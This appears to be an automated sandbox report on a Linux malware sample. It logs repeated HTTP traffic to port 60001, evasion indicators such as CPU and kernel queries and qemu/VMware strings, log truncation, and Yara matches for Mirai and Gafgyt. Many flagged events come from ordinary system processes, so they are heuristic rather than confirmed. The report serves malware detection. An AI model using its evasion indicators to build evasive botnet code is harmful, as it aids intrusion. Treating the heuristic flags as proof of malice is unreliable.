Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001

Malware Analysis System Evasion:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5386)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5492)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5661)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5842)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 5948)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pkill (PID: 6019)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 6041)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /usr/bin/find (PID: 5232)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5278)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5321)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5383)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5386)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5470)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5521)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5567)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5633)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5653)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5659)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5669)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5734)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5740)	Queries kernel information via 'uname':	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5750)	Queries kernel information via 'uname':
Source: /usr/bin/gpu-manager (PID: 5762)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 5843)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 5850)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5852)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 5917)	Queries kernel information via 'uname':
Source: /sbin/agetty (PID: 5924)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 5925)	Queries kernel information via 'uname':
Source: /usr/bin/gpu-manager (PID: 5926)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 5929)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 5948)	Queries kernel information via 'uname':
Source: /usr/sbin/rsyslogd (PID: 6021)	Queries kernel information via 'uname':
Source: /sbin/agetty (PID: 6025)	Queries kernel information via 'uname':
Source: /usr/bin/whoopsie (PID: 6029)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-journald (PID: 6033)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 6041)	Queries kernel information via 'uname':

Deletes log files

Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/cups/access_log.1	Jump to behavior
Source: /usr/sbin/logrotate (PID: 5192)	Truncated file: /var/log/syslog.1	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5470)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5633)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system@0005d593c8771680-635fa3b935fc1b52.journal~
Source: /usr/bin/gpu-manager (PID: 5762)	Truncated file: /var/log/gpu-manager.log
Source: /usr/bin/gpu-manager (PID: 5926)	Truncated file: /var/log/gpu-manager.log

Source: 5237.18.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 5237.18.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 5237.18.dr	Binary or memory string: qemu-or1k
Source: 5237.18.dr	Binary or memory string: qemu-riscv64
Source: 5237.18.dr	Binary or memory string: {cqemu
Source: 5237.18.dr	Binary or memory string: qemu-arm
Source: 5237.18.dr	Binary or memory string: (qemu
Source: 5237.18.dr	Binary or memory string: qemu-tilegx
Source: 5237.18.dr	Binary or memory string: qemu-hppa
Source: 5237.18.dr	Binary or memory string: q{rqemu%
Source: 5237.18.dr	Binary or memory string: )qemu
Source: 5237.18.dr	Binary or memory string: vmware-toolbox-cmd
Source: 5237.18.dr	Binary or memory string: qemu-ppc
Source: 5237.18.dr	Binary or memory string: Tqemu9
Source: nSg5RM0w0d, 5278.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5281.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5282.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5286.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5289.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5290.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5294.1.00000000e75c9218.00000000d9b03796.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: nSg5RM0w0d, 5278.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5281.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5282.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5286.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5289.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5290.1.00000000e75c9218.00000000d9b03796.rw-.sdmp, nSg5RM0w0d, 5294.1.00000000e75c9218.00000000d9b03796.rw-.sdmp	Binary or memory string: kaU!/etc/qemu-binfmt/m68k
Source: syslog.67.dr	Binary or memory string: Jan 15 00:11:43 galassia kernel: [ 478.955182] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 12/12/2018
Source: 5237.18.dr	Binary or memory string: qemu-aarch64_be
Source: 5237.18.dr	Binary or memory string: 0qemu9
Source: 5237.18.dr	Binary or memory string: qemu-sparc64
Source: 5237.18.dr	Binary or memory string: qemu-mips64
Source: 5237.18.dr	Binary or memory string: vV:qemu9
Source: 5237.18.dr	Binary or memory string: qemu-ppc64le
Source: 5237.18.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 5237.18.dr	Binary or memory string: vmware
Source: 5237.18.dr	Binary or memory string: qemu-cris
Source: 5237.18.dr	Binary or memory string: libvmtools
Source: 5237.18.dr	Binary or memory string: qemu-m68k
Source: 5237.18.dr	Binary or memory string: qemu-xtensa
Source: 5237.18.dr	Binary or memory string: 9qemu
Source: 5237.18.dr	Binary or memory string: qemu-sh4
Source: 5237.18.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: nSg5RM0w0d, 5278.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5281.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5282.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5286.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5289.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5290.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5294.1.000000001e4697c8.0000000045731922.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: 5237.18.dr	Binary or memory string: .qemu{
Source: 5237.18.dr	Binary or memory string: qemu-ppc64abi32
Source: 5237.18.dr	Binary or memory string: qemu-ppc64
Source: 5237.18.dr	Binary or memory string: qemu-i386
Source: 5237.18.dr	Binary or memory string: qemu-x86_64
Source: 5237.18.dr	Binary or memory string: H~6\nqemu*q
Source: 5237.18.dr	Binary or memory string: @qemu
Source: 5237.18.dr	Binary or memory string: Fqqemu
Source: 5237.18.dr	Binary or memory string: N4qemu
Source: 5237.18.dr	Binary or memory string: ~6\nqemu*q
Source: 5237.18.dr	Binary or memory string: qemu-mips64el
Source: 5237.18.dr	Binary or memory string: hqemu
Source: 5237.18.dr	Binary or memory string: &mqemu
Source: 5237.18.dr	Binary or memory string: $qemu
Source: 5237.18.dr	Binary or memory string: qemu-sparc
Source: 5237.18.dr	Binary or memory string: qemu-microblaze
Source: 5237.18.dr	Binary or memory string: qemu-user
Source: 5237.18.dr	Binary or memory string: qemu-aarch64
Source: 5237.18.dr	Binary or memory string: qemu-sh4eb
Source: 5237.18.dr	Binary or memory string: iqemu
Source: 5237.18.dr	Binary or memory string: qemu-mipsel
Source: 5237.18.dr	Binary or memory string: qemuP`
Source: 5237.18.dr	Binary or memory string: qemu-alpha
Source: 5237.18.dr	Binary or memory string: qemu-microblazeel
Source: 5237.18.dr	Binary or memory string: \qemu
Source: 5237.18.dr	Binary or memory string: qemu-xtensaeb
Source: 5237.18.dr	Binary or memory string: qemu-mipsn32el
Source: 5237.18.dr	Binary or memory string: SAqemu
Source: 5237.18.dr	Binary or memory string: Vqemu
Source: 5237.18.dr	Binary or memory string: qemu-mipsn32
Source: syslog.67.dr	Binary or memory string: Jan 15 00:11:43 galassia kernel: [ 478.955119] Modules linked in: monitor(OE) md4 cmac cifs libarc4 fscache libdes vmw_vsock_vmci_transport vsock binfmt_misc dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua vmw_balloon joydev input_leds serio_raw vmw_vmci sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel crypto_simd cryptd glue_helper psmouse ahci mptspi vmxnet3 scsi_transport_spi mptscsih libahci mptbase
Source: 5237.18.dr	Binary or memory string: qemuAU
Source: 5237.18.dr	Binary or memory string: qemu-riscv32
Source: 5237.18.dr	Binary or memory string: qemu-sparc32plus
Source: 5237.18.dr	Binary or memory string: 7,qemu
Source: 5237.18.dr	Binary or memory string: qemu-s390x
Source: 5237.18.dr	Binary or memory string: vmware-checkvm
Source: 5237.18.dr	Binary or memory string: qemu-nios2
Source: 5237.18.dr	Binary or memory string: qemu-armeb
Source: 5237.18.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 5237.18.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 5237.18.dr	Binary or memory string: I_qemu
Source: 5237.18.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 5237.18.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 5237.18.dr	Binary or memory string: qemu-mips
Source: 5237.18.dr	Binary or memory string: qemuj\
Source: nSg5RM0w0d, 5278.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5281.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5282.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5286.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5289.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5290.1.000000001e4697c8.0000000045731922.rw-.sdmp, nSg5RM0w0d, 5294.1.000000001e4697c8.0000000045731922.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/nSg5RM0w0dSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nSg5RM0w0d
Source: 5237.18.dr	Binary or memory string: {qemuQ&
Source: 5237.18.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 5237.18.dr	Binary or memory string: vmware-xferlogs

Language, Device and Operating System Detection:

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 5504)	Logged in records file read: /var/log/wtmp			Jump to behavior
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5744)	Logged in records file read: /var/log/wtmp			Jump to behavior

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY

Yara detected Gafgyt

Source: Yara match	File source: nSg5RM0w0d, type: SAMPLE
Source: Yara match	File source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY
